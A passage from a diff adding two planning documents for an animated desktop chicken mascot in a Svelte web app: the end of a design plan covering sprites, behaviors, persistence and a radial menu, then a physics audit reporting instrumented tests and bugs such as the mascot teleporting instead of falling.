||||||
|
top edge).
|
||||||
|
|
||||||
|
## Sprite system (`types.ts`, `palette.ts`, `sprites.ts`, `render.ts`)
|
||||||
|
|
||||||
|
Frames are human-editable string pixel-grids indexing a palette, e.g.:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
export type PixelGrid = string[] // rows of same-length strings, one char per pixel
|
||||||
|
export interface AnimDef { frames: PixelGrid[]; fps: number; loop: boolean }
|
||||||
|
export type AnimName =
|
||||||
|
| 'egg-idle' | 'egg-wiggle' | 'egg-crack' | 'hatch'
|
||||||
|
| 'idle' | 'blink' | 'walk' | 'peck' | 'flap' | 'sleep'
|
||||||
|
| 'dragged' | 'fall-flutter' | 'land'
|
||||||
|
| 'react-eureka' | 'react-alarm' | 'react-think' | 'react-happy'
|
||||||
|
```
|
||||||
|
|
||||||
|
- Grids: egg 12×12, chick 14×14, adult 16×16, all bottom-anchored inside a
|
||||||
|
fixed 20×20 logical canvas so feet land on the ground line consistently
|
||||||
|
across stages.
|
||||||
|
- `SPRITES: Record<MascotStage, Partial<Record<AnimName, AnimDef>>>` is
|
||||||
|
the registry; `resolveAnim(stage, name)` falls back to that stage's
|
||||||
|
`idle` and finally a 1-frame placeholder, so a missing animation never
|
||||||
|
crashes the renderer.
|
||||||
|
- Canvas is sized to the logical grid; screen scale is pure CSS (`width:
|
||||||
|
20*SCALE px; image-rendering: pixelated`), `ctx.imageSmoothingEnabled =
|
||||||
|
false` set once. Horizontal facing flip via `ctx.translate(w,0);
|
||||||
|
ctx.scale(-1,1)` — no mirrored frame data needed.
|
||||||
|
- Initial animation set (2–4 frames each): egg-idle/egg-wiggle/egg-crack/
|
||||||
|
hatch; idle/blink/walk/peck/flap/sleep; dragged/fall-flutter/land;
|
||||||
|
react-think/react-eureka/react-alarm/react-happy.
|
||||||
|
- Frame index = `floor((now - animStart) / 1000 * fps)`, wrapped if
|
||||||
|
`loop`.
|
||||||
|
|
||||||
|
## Behavior engine (`behavior.ts`)
|
||||||
|
|
||||||
|
```ts
|
||||||
|
export interface MascotRuntime {
|
||||||
|
x: number; y: number // sprite bottom-center, surface coords
|
||||||
|
vx: number; vy: number
|
||||||
|
facing: 1 | -1
|
||||||
|
behavior: BehaviorId // 'egg' | 'idle' | 'wander' | 'peck' | 'sleep' | 'dragged' | 'falling' | 'react'
|
||||||
|
behaviorUntil: number
|
||||||
|
anim: AnimName
|
||||||
|
animStart: number
|
||||||
|
reactAnim: AnimName | null
|
||||||
|
bounds: { w: number; h: number }
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface BehaviorDef {
|
||||||
|
id: BehaviorId
|
||||||
|
anim: (rt: MascotRuntime, model: MascotModel) => AnimName
|
||||||
|
enter?: (rt: MascotRuntime) => void
|
||||||
|
tick: (rt: MascotRuntime, dt: number, now: number) => void
|
||||||
|
next: (rt: MascotRuntime, now: number) => BehaviorId | null
|
||||||
|
weight?: number // idle-selectable when > 0; undefined/0 = not auto-picked
|
||||||
|
minMs: number; maxMs: number
|
||||||
|
}
|
||||||
|
export const BEHAVIORS: Record<BehaviorId, BehaviorDef>
|
||||||
|
export function stepMascot(rt: MascotRuntime, model: MascotModel, now: number, dt: number): void
|
||||||
|
export function forceBehavior(rt: MascotRuntime, id: BehaviorId, opts?: { anim?: AnimName; durationMs?: number }): void
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Ground/gravity**: `GROUND_Y = bounds.h`. When above ground and not
|
||||||
|
dragged, behavior is `falling`: `vy += GRAVITY * dt`, capped at a slow
|
||||||
|
flutter terminal velocity, anim `fall-flutter` with occasional `flap`;
|
||||||
|
on reaching ground, snap `y`, brief `land`, then `idle`.
|
||||||
|
- **Wander**: constant `vx = facing * ~40px/s`, flip `facing` at the
|
||||||
|
surface margins.
|
||||||
|
- **Idle selection**: when `now > behaviorUntil` and the current
|
||||||
|
behavior's `next()` returns null, roll a weighted random pick over
|
||||||
|
`BEHAVIORS` entries that declare `weight` — starting weights: idle 3,
|
||||||
|
wander 4, peck 2, sleep 1.
|
||||||
|
- **Non-self-selecting behaviors** (`dragged`, `falling`, `react`) have no
|
||||||
|
`weight` and are entered only via `forceBehavior()` — pointer code calls
|
||||||
|
it for `dragged`, gravity logic for `falling`, the stimulus bus for
|
||||||
|
`react`.
|
||||||
|
- **Egg stage**: `behavior` locked to `'egg'` (renders `egg-idle`,
|
||||||
|
wiggles gently via a render-time transform); dragging is still
|
||||||
|
allowed (the egg can be picked up and moved). The egg → chick
|
||||||
|
transition fires once, on first naming — see the deviation note at
|
||||||
|
the top of this plan.
|
||||||
|
- Loop lives in `Mascot.svelte`: `setTimeout(() => tick(performance.now()),
|
||||||
|
33)` inside an `$effect`, cleared on teardown, `dt` clamped to 100ms.
|
||||||
|
|
||||||
|
## Tamagotchi model (`state.svelte.ts`)
|
||||||
|
|
||||||
|
```ts
|
||||||
|
export type MascotStage = 'egg' | 'chick' | 'adult'
|
||||||
|
export interface MascotModel {
|
||||||
|
version: 1
|
||||||
|
stage: MascotStage
|
||||||
|
name: string | null
|
||||||
|
hatchProgress: number // binary 0/1: 0 until first naming, 1 after (egg stage only)
|
||||||
|
happiness: number // 0..100, slow decay, boosted by pet/feed
|
||||||
|
xp: number // chick -> adult growth hook
|
||||||
|
hatchedAt: number | null
|
||||||
|
lastPos: { x: number } | null
|
||||||
|
lastSeen: number // for capping passive decay
|
||||||
|
}
|
||||||
|
export const ADULT_XP = 200
|
||||||
|
export function grantXp(n: number): void
|
||||||
|
export function feed(): void
|
||||||
|
export function pet(): void
|
||||||
|
export function setName(name: string): void
|
||||||
|
export function tickLifecycle(dt: number): void // called ~1x/sec, not per frame
|
||||||
|
export function advanceStageIfReady(): void
|
||||||
|
export function forceHatch(): void // called by the name-dialog submit handler on first naming
|
||||||
|
```
|
||||||
|
|
||||||
|
- `load()` parses `localStorage['oikos-mascot']`, checks `version`, falls
|
||||||
|
back to `defaultModel()` on mismatch/corruption. `migrate(raw):
|
||||||
|
MascotModel` is a stub switch on `version` for future schema changes —
|
||||||
|
v1 has no migrations to perform, the stub just documents where they go.
|
||||||
|
- Every mutator calls a shared `schedulePersist()` — a 300ms trailing
|
||||||
|
debounce, plus a `beforeunload` flush so a quick reload doesn't lose a
|
||||||
|
rename. `lastPos.x` is written only on behavior transitions and
|
||||||
|
drag-end, never per frame.
|
||||||
|
- The egg → chick transition is **not** timed: a fresh egg (stage=egg,
|
||||||
|
name=null) opens the name dialog on mount; submitting it calls
|
||||||
|
`forceHatch()` which sets `hatchProgress=1` and `setStage('chick')`.
|
||||||
|
Returning users with a named mascot skip the dialog. See the deviation
|
||||||
|
note at the top of this plan.
|
||||||
|
- Multi-tab races (two tabs both writing `oikos-mascot`) are
|
||||||
|
last-writer-wins — accepted for this scaffolding, not solved; a future
|
||||||
|
pass could listen to the `storage` event if it becomes a real problem.
|
||||||
|
|
||||||
|
## Radial menu (`actions.ts`, `RadialMenu.svelte`)
|
||||||
|
|
||||||
|
```ts
|
||||||
|
export interface RadialAction {
|
||||||
|
id: string
|
||||||
|
label: string
|
||||||
|
icon?: Component // lucide, same convention as the desktop menu
|
||||||
|
visible?: (model: MascotModel) => boolean // e.g. Rename only once hatched
|
||||||
|
children?: RadialAction[]
|
||||||
|
action?: (ctx: MascotActionCtx) => void // leaf only
|
||||||
|
}
|
||||||
|
export const MASCOT_ACTIONS: RadialAction[]
|
||||||
|
export function registerMascotAction(a: RadialAction, parentId?: string): void
|
||||||
|
```
|
||||||
|
|
||||||
|
v1 tree: **Interact** [Pet, Feed → [Seeds, Worm]], **Care** [Sleep, Wake],
|
||||||
|
**Identity** [Rename], **Debug** [Force hatch/stage, Reset].
|
||||||
|
|
||||||
|
- Rendered by `MascotLayer.svelte` as `fixed`, positioned at the
|
||||||
|
chicken's screen center, **`z-[60]`** (must beat the desktop context
|
||||||
|
menu's `z-50`, comfortably above `WindowLayer`'s `z-40`).
|
||||||
|
- Layout: items on a circle (radius ≈ 70px) via polar `transform`s around
|
||||||
|
the menu's anchor point. Open animation: buttons start scale-0 at
|
||||||
|
center and transition to their polar position with `transform 120ms
|
||||||
|
cubic-bezier(.2,1.4,.4,1)`, staggered ~20ms per item — pure CSS, no
|
||||||
|
keyframes, reads as snappy/springy per the "snappy" requirement.
|
||||||
|
- **Nesting**: selecting a node with `children` swaps the ring's contents
|
||||||
|
to those children plus a center "back" button; track the breadcrumb as
|
||||||
|
a local `$state<RadialAction[][]>` stack.
|
||||||
|
- Dismissal mirrors the desktop menu's existing pattern:
|
||||||
|
`<svelte:window onclick={close}>`, Escape pops one level then closes on
|
||||||
|
the next press; the menu's own clicks `stopPropagation()`. Clamp the
|
||||||
|
ring's screen position so it never renders off-viewport (relevant near
|
||||||
|
screen edges/corners).
|
||||||
|
- Opened from `Mascot.svelte`'s `oncontextmenu`:
|
||||||
|
`e.preventDefault(); e.stopPropagation();` then tell `MascotLayer` to
|
||||||
|
open at the sprite's center (the surface's own `onSurfaceContextMenu`
|
||||||
|
already gates on `currentTarget === target`, so this is defensive, not
|
||||||
|
strictly required — but keep it for clarity).
|
||||||
|
|
||||||
|
## Stimulus / reaction system (`stimuli.ts`)
|
||||||
|
|
||||||
|
```ts
|
||||||
|
export interface ReactionDef {
|
||||||
|
id: string
|
||||||
|
anim: AnimName
|
||||||
|
priority: number
|
||||||
|
cooldownMs: number
|
||||||
|
durationMs: number
|
||||||
|
interruptsSleep?: boolean
|
||||||
|
effect?: () => void // e.g. grantXp(5) on eureka
|
||||||
|
}
|
||||||
|
export const REACTIONS: Record<string, ReactionDef>
|
||||||
|
export function attachStimuli(emit: (r: ReactionDef) => void): () => void // ref-counted, owns subscribeEvents()
|
||||||
|
```
|
||||||
|
|
||||||
|
Initial wiring:
|
||||||
|
|
||||||
|
| Source | Trigger | Reaction |
|
||||||
|
|---|---|---|
|
||||||
|
| `chat.ts` `streaming` | `false → true` edge, held while `true` | `thinking` (`react-think`, priority 1) |
|
||||||
|
| `activity.ts` `activityLog` | new entry with `type === 'knowledge'`, detected by diffing entry ids against the last-seen set (see note above — the store is recomputed wholesale) | `eureka` (`react-eureka`, priority 2, cooldown 10s, `effect: grantXp(5)`) |
|
||||||
|
| `events.ts` `liveEvents` | new head event (`id > lastSeen`) with `severity === 'critical'` or `type` starting `signal.` | `alarmed` (`react-alarm`, priority 3, cooldown 15s, `interruptsSleep: true`) |
|
||||||
|
| `events.ts` `liveEvents` | new head event, `type` starting `execution.`, success-ish | `happy` (`react-happy`, priority 1, cooldown 20s) |
|
||||||
|
|
||||||
|
- `attachStimuli` calls `subscribeEvents()` itself and folds its
|
||||||
|
unsubscribe into the returned teardown, so the mascot keeps the SSE
|
||||||
|
stream open (ref-counted alongside any page that also subscribes) only
|
||||||
|
while mounted.
|
||||||
|
- **Egg-stage reactions are suppressed.** MascotLayer's stimulus
|
||||||
|
callback drops any reaction when `model.stage === 'egg'` — the egg
|
||||||
|
isn't "alive" yet (no name, no hatched chick to react), so stimulus
|
||||||
|
events are silently ignored until the egg hatches. This keeps the egg
|
||||||
|
calm during the naming dialog rather than playing alarm animations
|
||||||
|
behind it.
|
||||||
|
- On first emission of `liveEvents`, just record the head event id — do
|
||||||
|
not replay history as reactions on mount.
|
||||||
|
- Dispatch: `emit(reaction)` checks the cooldown map and
|
||||||
|
`priority >= currentReactPriority` (or current behavior isn't
|
||||||
|
`dragged`), then calls `forceBehavior(rt, 'react', { anim,
|
||||||
|
durationMs })`. `dragged` always wins over any reaction; `sleep` is
|
||||||
|
broken only when `interruptsSleep` is true.
|
||||||
|
|
||||||
|
## Implementation order (sized for one PR each)
|
||||||
|
|
||||||
|
1. `types.ts`, `palette.ts`, `sprites.ts` (egg + chick idle/walk only),
|
||||||
|
`render.ts` — pure data/functions, no UI yet.
|
||||||
|
2. `state.svelte.ts` model + debounced persistence — verify by hand via
|
||||||
|
devtools console before wiring any UI.
|
||||||
|
3. `behavior.ts` FSM (egg/idle/wander/falling/dragged) + `Mascot.svelte` +
|
||||||
|
`MascotLayer.svelte`, insert into `Desktop.svelte`. **First visible
|
||||||
|
milestone** — an egg sits on the ground and can be dragged.
|
||||||
|
4. Hatch flow: `tickLifecycle` wired into the loop, egg→chick transition +
|
||||||
|
`NameDialog.svelte`, remaining animations, `peck`/`sleep` behaviors.
|
||||||
|
5. `actions.ts` + `RadialMenu.svelte` (nested rings, open animation,
|
||||||
|
dismissal).
|
||||||
|
6. `stimuli.ts` + the four reaction animations + the wiring table above.
|
||||||
|
7. Adult stage sprites + XP threshold; polish (speech/name bubble, a
|
||||||
|
squash frame on `land`).
|
||||||
|
8. A short "how to add an animation / behavior / action / reaction" doc
|
||||||
|
comment at the top of `sprites.ts`, `behavior.ts`, `actions.ts`, and
|
||||||
|
`stimuli.ts` respectively (this plan's registry tables above become
|
||||||
|
those comments, condensed).
|
||||||
|
|
||||||
|
## Verification checklist
|
||||||
|
|
||||||
|
Run `npm run dev` in `web/`, then in the browser:
|
||||||
|
|
||||||
|
- Egg renders on the ground at the surface bottom, wiggles occasionally,
|
||||||
|
and is at the same `x` after a reload (`oikos-mascot` in localStorage —
|
||||||
|
confirm it is *not* being written on every frame while merely idling or
|
||||||
|
walking, only on discrete transitions).
|
||||||
|
- Dragging the egg up and releasing triggers a flutter-fall back down with
|
||||||
|
no tunneling below the taskbar; dragging past the surface's left/right
|
||||||
|
edges clamps rather than escaping the viewport.
|
||||||
|
- The debug "force hatch" action transitions egg → chick, opens the name
|
||||||
|
dialog, and the chosen name persists across a reload.
|
||||||
|
- The chick wanders and flips its sprite at the surface edges, pecks, and
|
||||||
|
sleeps on its own; a plain click (below the 5px drag threshold) triggers
|
||||||
|
a pet/hop reaction and grants a little xp.
|
||||||
|
- Right-clicking the chicken opens the radial menu centered on it — and
|
||||||
|
right-clicking bare desktop elsewhere still opens the *original* desktop
|
||||||
|
menu, unaffected. The nested Feed submenu opens; Escape pops one level
|
||||||
|
then closes on the next press; clicking outside the menu closes it;
|
||||||
|
the menu stays fully on-screen when the chicken is near a corner.
|
||||||
|
- With a maximized window open, the chicken visibly walks above it; window
|
||||||
|
drag/resize/close still work normally when the chicken merely passes
|
||||||
|
under the cursor (not when it's directly over a button being clicked —
|
||||||
|
known, accepted overlap per the "renders above windows" decision).
|
||||||
|
- Sending a chat message and watching it stream triggers the `thinking`
|
||||||
|
animation for the duration; simulate (or trigger for real) a
|
||||||
|
knowledge-graph write and confirm `eureka` fires once and respects its
|
||||||
|
cooldown on a second write; simulate a critical signal and confirm
|
||||||
|
`alarmed` fires even while the chicken is asleep.
|
||||||
|
- Resizing the browser viewport re-grounds the chicken and keeps it
|
||||||
|
within the new bounds.
|
||||||
|
- Both the Terracotta and Carbon themes keep the pixel palette legible.
|
||||||
|
- `npm run build` passes with no new errors or warnings beyond the
|
||||||
|
pre-existing baseline.
|
||||||
|
|
||||||
|
## Risks
|
||||||
|
|
||||||
|
- Z-index ordering is easy to get subtly wrong: radial menu must be
|
||||||
|
`z-[60]` to beat the desktop context menu's `z-50`; the mascot layer
|
||||||
|
itself is `z-45` (above `WindowLayer`'s `z-40`, below both menus).
|
||||||
|
- The mascot rendering above windows means it can occlude/steal clicks on
|
||||||
|
window chrome directly beneath it — accepted per the "above windows"
|
||||||
|
decision; mitigate by keeping the pointer hitbox tight to the canvas
|
||||||
|
element only (no oversized invisible padding).
|
||||||
|
- `activityLog` is a derived store recomputed wholesale on every
|
||||||
|
emission, not an append-only log — any "new entry" detection must diff
|
||||||
|
entry ids between emissions, never assume the store only ever grows by
|
||||||
|
appending.
|
||||||
|
- `setTimeout`-driven loops can receive large `dt` spikes after tab
|
||||||
|
throttling/backgrounding resumes — clamp `dt` before feeding it into
|
||||||
|
physics or lifecycle ticking.
|
||||||
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
@@ -0,0 +1,303 @@
|
|||||||
|
# 2026-07-20 — Mascot physics/window-interaction audit + improvement plan
|
||||||
|
|
||||||
|
**Status:** P0–P2 implemented. P3 partially implemented: the physics-feel
|
||||||
|
round shipped (panic-flap cycle with speed scaling + jitter, soft
|
||||||
|
terminal-velocity drag, one-bounce impact restitution, landing skid, wall
|
||||||
|
ricochet, squash-and-stretch impact spring, air/drag tilt, walk bob,
|
||||||
|
impact feather-poof particles, and a new idle-selectable `hop` behavior —
|
||||||
|
all in `behavior.ts` + `Mascot.svelte`'s render layer, no new assets).
|
||||||
|
The remaining P3 feature ideas (investigate badges, startle-and-flee, a
|
||||||
|
"home" spot, round radial menu v2, distinct adult art) stay open.
|
||||||
|
|
||||||
|
**Verification of the fixes** (re-ran this document's own instrumented
|
||||||
|
tests against the fixed code):
|
||||||
|
- Case A (window closes under the mascot): position now falls smoothly
|
||||||
|
over ~2.5–3s with visible x-drift (e.g. bottom went 84→87→104→125→...→912
|
||||||
|
across ~3.3s), instead of jumping straight to the floor in one tick.
|
||||||
|
- Case B (window opens over a grounded mascot with a gap beneath it): the
|
||||||
|
mascot stayed pinned to the floor (`bottom: 950`) for 2.6s straight while
|
||||||
|
standing under an open window whose top was far above it — no snap-up at
|
||||||
|
all.
|
||||||
|
- Toss momentum: a fast upward-and-sideways release made the sprite keep
|
||||||
|
*rising* for several frames after pointerup before gravity won, then fall
|
||||||
|
with visible deceleration bumps roughly every ~550ms (the flap cycle)
|
||||||
|
instead of a flat monotonic increase.
|
||||||
|
- No new console errors; `npm run build` stays clean.
|
||||||
|
|
||||||
|
Companion to [plans/2026-07-20-desktop-mascot.md](2026-07-20-desktop-mascot.md)
|
||||||
|
(the original scaffolding plan, now implemented) and
|
||||||
|
[docs/mascot/README.md](../docs/mascot/README.md) (the MBSE model). This
|
||||||
|
document is a post-implementation review: static code read of every file
|
||||||
|
under `web/src/lib/mascot/`, plus live testing in the browser (dragging,
|
||||||
|
opening/closing/moving windows under the mascot, the radial menu, hatching),
|
||||||
|
including two tests instrumented with synthetic pointer events + high-frequency
|
||||||
|
position polling to get hard timing data rather than guessing from a laggy
|
||||||
|
screenshot loop.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The scaffolding (registries, FSM shape, persistence, stimulus bus) is sound
|
||||||
|
and matches the original plan's architecture. The actual **physics is where
|
||||||
|
it falls short of feeling alive**, for one root cause plus a few smaller
|
||||||
|
gaps:
|
||||||
|
|
||||||
|
**The mascot doesn't actually fall in the cases that matter most — it
|
||||||
|
teleports.** The only code path where a real, animated fall happens is
|
||||||
|
"user drags it into the air and lets go." Every other ground-change case
|
||||||
|
(a window closes or moves out from under it, a window opens or moves under
|
||||||
|
it, it walks off a window's edge) snaps its position instantly, with zero
|
||||||
|
animation, because of one specific piece of logic in `Mascot.svelte`. This
|
||||||
|
was proven with instrumented timing data, not just read from the source —
|
||||||
|
see Finding 1.
|
||||||
|
|
||||||
|
## How this was tested
|
||||||
|
|
||||||
|
- Read every file in `web/src/lib/mascot/` (behavior.ts, Mascot.svelte,
|
||||||
|
MascotLayer.svelte, state.svelte.ts, stimuli.ts, sprites.ts, render.ts,
|
||||||
|
actions.ts, RadialMenu.svelte, NameDialog.svelte, types.ts).
|
||||||
|
- Ran the app (`npm run dev`), hatched a chick, and interactively tested:
|
||||||
|
drag-and-release at various heights, opening/closing/dragging a window
|
||||||
|
under the mascot, the right-click menu (including nested Feed), plain-click
|
||||||
|
pet, and the hatch dialog.
|
||||||
|
- For the two timing-sensitive claims below, screenshot-based verification
|
||||||
|
was too slow/laggy to distinguish "instant teleport" from "fast but real
|
||||||
|
fall" — so both were re-verified with a single `javascript_exec` call that
|
||||||
|
dispatches synthetic `PointerEvent`s to drag the mascot precisely onto a
|
||||||
|
window, then clicks that window's close button and polls
|
||||||
|
`canvas.getBoundingClientRect()` every ~65ms for 2+ seconds, all inside one
|
||||||
|
script (no inter-call latency to contaminate the result).
|
||||||
|
- `npm run build` passes with no new warnings.
|
||||||
|
|
||||||
|
## Findings
|
||||||
|
|
||||||
|
### Finding 1 (Critical) — Ground changes teleport the mascot instead of animating a fall or rise
|
||||||
|
|
||||||
|
**Root cause**, `web/src/lib/mascot/Mascot.svelte` `tick()` (~lines 111-131):
|
||||||
|
every tick, `computeGroundAt(runtime.x)` recomputes the ground line, and if
|
||||||
|
the mascot is "grounded" (not already `falling`/`dragged`) and the ground
|
||||||
|
changed at all, this runs unconditionally:
|
||||||
|
|
||||||
|
```js
|
||||||
|
if (runtime.behavior !== 'falling' && runtime.behavior !== 'dragged' &&
|
||||||
|
runtime.y >= prevGroundY - 1 && newGround !== prevGroundY) {
|
||||||
|
runtime.y += newGround - prevGroundY // instant, any magnitude, either direction
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This was meant to make the mascot "ride along" smoothly while a window it's
|
||||||
|
standing on is being dragged (and it does do that correctly — verified,
|
||||||
|
see below). But it fires for *any* ground change, not just a smooth drag,
|
||||||
|
and it runs *before* `stepMascot()`/`behavior.ts` gets a chance to notice
|
||||||
|
"I'm now floating" and start a real `falling` behavior — so the FSM's own
|
||||||
|
fall-detection in the `wander`/`idle` cases
|
||||||
|
(`if (rt.y < groundY(rt) - 1) forceBehavior(rt, 'falling')`) never actually
|
||||||
|
fires; by the time it runs, `runtime.y` has already been silently snapped to
|
||||||
|
match.
|
||||||
|
|
||||||
|
**Proven case A — window closes underneath the mascot (should fall):**
|
||||||
|
dragged the mascot onto an open window's title bar via synthetic pointer
|
||||||
|
events (landed cleanly: sprite bottom = 96px = window top = 96px), then
|
||||||
|
clicked the window's close button and polled position every 65ms:
|
||||||
|
|
||||||
|
| t (ms) | sprite bottom (px) |
|
||||||
|
|---|---|
|
||||||
|
| 0 (before close) | 96 |
|
||||||
|
| 67 | **950** (floor) |
|
||||||
|
| 132 – 2000 | 950 (unchanged) |
|
||||||
|
|
||||||
|
The coded physics (gravity 1400 px/s², capped at 320 px/s) would take
|
||||||
|
**~2.8 seconds** to fall 854px. It happened in **under 67ms** — an instant
|
||||||
|
snap, not a fall. No `falling`/`land` animation plays.
|
||||||
|
|
||||||
|
**Proven case B — window opens/overlaps underneath a grounded mascot
|
||||||
|
(should NOT rise, or should climb visibly):** with the mascot standing on
|
||||||
|
the empty desktop floor (bottom = 950px), opened the Tasks window (which
|
||||||
|
renders top=71px, bottom=751px at that position — its underside never
|
||||||
|
reaches the floor, leaving a ~200px gap). Within 150ms, the mascot's sprite
|
||||||
|
bottom was already **71px** — snapped straight up onto the new window's
|
||||||
|
title bar, 880px in under 150ms, despite the window's bottom edge (751px)
|
||||||
|
never actually touching the mascot's original position. `computeGroundAt()`
|
||||||
|
has no check that the candidate window is anywhere near the mascot's
|
||||||
|
*current* position — it just returns the topmost window overlapping the
|
||||||
|
mascot's x column, full stop, so any window opening/moving/resizing
|
||||||
|
anywhere in that column instantly relocates the mascot to its top edge, no
|
||||||
|
matter the vertical distance.
|
||||||
|
|
||||||
|
**What does work correctly:** dragging an already-mascot-bearing window
|
||||||
|
smoothly (title-bar drag, not open/close) — the ride-along correctly
|
||||||
|
translates the mascot's y by the same delta as the window moves, so it
|
||||||
|
visually "stands" on the window through the drag. Also, manual drag-and-drop
|
||||||
|
of the mascot itself (pick it up, release above ground) *does* enter a real,
|
||||||
|
animated `falling` → `land` → `idle` sequence, because that path is driven
|
||||||
|
entirely by `releaseFromDrag()` from the pointer handler, which isn't
|
||||||
|
touched by the tick-level snap.
|
||||||
|
|
||||||
|
**Fix direction:** `computeGroundAt` needs to return the highest surface
|
||||||
|
*at or below* the mascot's current `y* (a downward raycast from the current
|
||||||
|
position), not the global topmost window in the column. Separately, the
|
||||||
|
tick-level "ride along" needs to distinguish *small, continuous* deltas
|
||||||
|
(the window carrying the mascot while being dragged — legitimate instant
|
||||||
|
translation) from *large or discontinuous* ones (a window appearing,
|
||||||
|
disappearing, or the mascot walking off an edge — should hand off to
|
||||||
|
`forceBehavior(rt, 'falling')` for a downward change, and a short new
|
||||||
|
`rising`/hop transition for an upward one, not a silent teleport in either
|
||||||
|
direction).
|
||||||
|
|
||||||
|
### Finding 2 (Critical) — the one real fall is a flat, straight drop; this is the user's specific complaint
|
||||||
|
|
||||||
|
Even in the one path that *does* animate (manual drag-release), the fall
|
||||||
|
itself has no attempt at flight:
|
||||||
|
|
||||||
|
- `falling.enter()` in `behavior.ts` hard-sets `rt.vx = 0` — zero horizontal
|
||||||
|
drift, ever.
|
||||||
|
- `fall-flutter`'s animation is just `jump.png` on a loop
|
||||||
|
(`sprites.ts`) — the *name* says flutter, the physics is a monotonic
|
||||||
|
`vy = min(TERMINAL_VY, vy + GRAVITY*dt)` capped fall, no oscillation, no
|
||||||
|
upward impulses.
|
||||||
|
- There's an already-defined, already-loaded `flap` animation
|
||||||
|
(`jump.png` again, distinct `AnimName`) that **no behavior ever
|
||||||
|
references** — it's dead weight in the registry right now.
|
||||||
|
|
||||||
|
This is exactly the "not always fall directly, try to fly a little" ask.
|
||||||
|
|
||||||
|
### Finding 3 (Critical) — no toss/throw momentum on release
|
||||||
|
|
||||||
|
The original plan called for tracking recent pointer deltas during a drag
|
||||||
|
and using them to give the release a real velocity (a toss/arc). The
|
||||||
|
shipped `onPointerUp`/`onPointerMove` in `Mascot.svelte` track no pointer
|
||||||
|
history at all — releasing while moving fast imparts nothing; the mascot
|
||||||
|
just drops straight down from wherever the pointer let go, same as a slow
|
||||||
|
release.
|
||||||
|
|
||||||
|
### Finding 4 (Moderate) — sprite/name/bubble clip off-screen near the top edge
|
||||||
|
|
||||||
|
The mascot's canvas is 20×28 logical px (extra headroom above the sprite
|
||||||
|
for the name label and reaction bubble), positioned bottom-anchored at
|
||||||
|
`runtime.y`. When the ground is near the top of the viewport (e.g.
|
||||||
|
standing on a window whose title bar sits close to `y=0`, which is common
|
||||||
|
for a freshly-opened window), the canvas — and the name label, positioned
|
||||||
|
even further above it — render partially or fully off-screen.
|
||||||
|
Reproduced directly: standing on a window with top=32px clipped the
|
||||||
|
sprite from `y=-52` to `y=32`, more than half invisible above the browser
|
||||||
|
viewport.
|
||||||
|
|
||||||
|
### Finding 5 (Minor) — `interruptsSleep` is defined but never read
|
||||||
|
|
||||||
|
`stimuli.ts`'s `ReactionDef.interruptsSleep` (set `true` only on `alarmed`)
|
||||||
|
documents an intended rule ("sleep is broken only by reactions that opt
|
||||||
|
in"), but nothing in `MascotLayer.svelte`'s dispatch callback or
|
||||||
|
`behavior.ts` ever reads it — every reaction unconditionally calls
|
||||||
|
`forceBehavior(runtime, 'react', ...)` regardless of current behavior.
|
||||||
|
Practically, this also means a reaction can visually interrupt an active
|
||||||
|
**drag** (the sprite briefly shows a reaction animation mid-drag, though
|
||||||
|
position tracking is unaffected since that's driven separately by the
|
||||||
|
pointer handler) — the documented "`dragged` always wins" rule isn't
|
||||||
|
enforced either.
|
||||||
|
|
||||||
|
### Finding 6 (Cosmetic / scope gap) — radial menu isn't round
|
||||||
|
|
||||||
|
The implementing agent deviated from the original "round, Sims-style"
|
||||||
|
requirement to a vertical rounded-button column (documented in the plan's
|
||||||
|
deviation note — the polar ring layout hid labels). It works correctly,
|
||||||
|
including nesting, but it's a direct miss against what was asked for. Worth
|
||||||
|
a deliberate decision: keep the readable column, or revisit a true ring
|
||||||
|
with icon-only buttons + a hover/center text readout.
|
||||||
|
|
||||||
|
### Finding 7 (Minor) — first-hatch naming can be dismissed with no easy way back
|
||||||
|
|
||||||
|
`NameDialog`'s Escape handler always calls `onCancel`, which just closes it
|
||||||
|
— on the very first hatch prompt (no `Cancel` button is shown in `hatch`
|
||||||
|
mode, but Escape still works via the window-level listener), a user who
|
||||||
|
hits Escape is left with an unnamed, un-hatched egg and no obvious way to
|
||||||
|
reopen the dialog short of reloading or finding the Debug → Force hatch
|
||||||
|
menu action.
|
||||||
|
|
||||||
|
## Improvement plan
|
||||||
|
|
||||||
|
Ordered by priority; 1–3 directly address the user's stated complaints.
|
||||||
|
|
||||||
|
### P0 — Fix the ground-detection/teleport bug (Finding 1)
|
||||||
|
|
||||||
|
1. Change `computeGroundAt(x)` to only consider a window a ground candidate
|
||||||
|
if its top edge is **at or below** the mascot's current `y` (plus a
|
||||||
|
small tolerance for the "about to land on it" case) — i.e. the nearest
|
||||||
|
surface *underneath*, not the global topmost overlapping window.
|
||||||
|
2. Replace the unconditional `tick()`-level position snap with a threshold
|
||||||
|
check: deltas under ~4px/tick (a window being smoothly dragged with the
|
||||||
|
mascot riding it) still translate instantly; anything larger routes
|
||||||
|
through `forceBehavior(rt, 'falling')` (ground dropped) or a new short
|
||||||
|
`rising` behavior (ground rose — a quick hop/flutter-up, not a snap).
|
||||||
|
3. This also fixes the FSM's existing (currently unreachable) `wander`/`idle`
|
||||||
|
fall-detection — once the snap isn't preempting it, that code path
|
||||||
|
should work as originally intended.
|
||||||
|
|
||||||
|
### P1 — Make falling actually look like an attempt at flight (Findings 2 & 3)
|
||||||
|
|
||||||
|
4. Wire the unused `flap` animation into `falling`: instead of one
|
||||||
|
continuous `fall-flutter` loop, alternate short `flap` bursts (each
|
||||||
|
burst applies a brief small negative `vy` impulse — a wing-beat that
|
||||||
|
measurably slows the descent for a few frames) with `fall-flutter` glide
|
||||||
|
segments. Net effect: still descends, but in a scalloped, fluttering
|
||||||
|
arc rather than a flat monotonic line — reads as "trying to fly, not
|
||||||
|
quite making it" rather than "dropped like a rock."
|
||||||
|
5. Add a small horizontal drift during `falling` (e.g. a slow sine wobble
|
||||||
|
or a fraction of the pre-release pointer velocity — see next point) so
|
||||||
|
the fall isn't perfectly vertical either.
|
||||||
|
6. Track a short rolling history of pointer positions during `dragged`
|
||||||
|
(last ~100ms of `onPointerMove` samples is enough) and derive a release
|
||||||
|
velocity from it in `onPointerUp`; feed that into `falling`'s initial
|
||||||
|
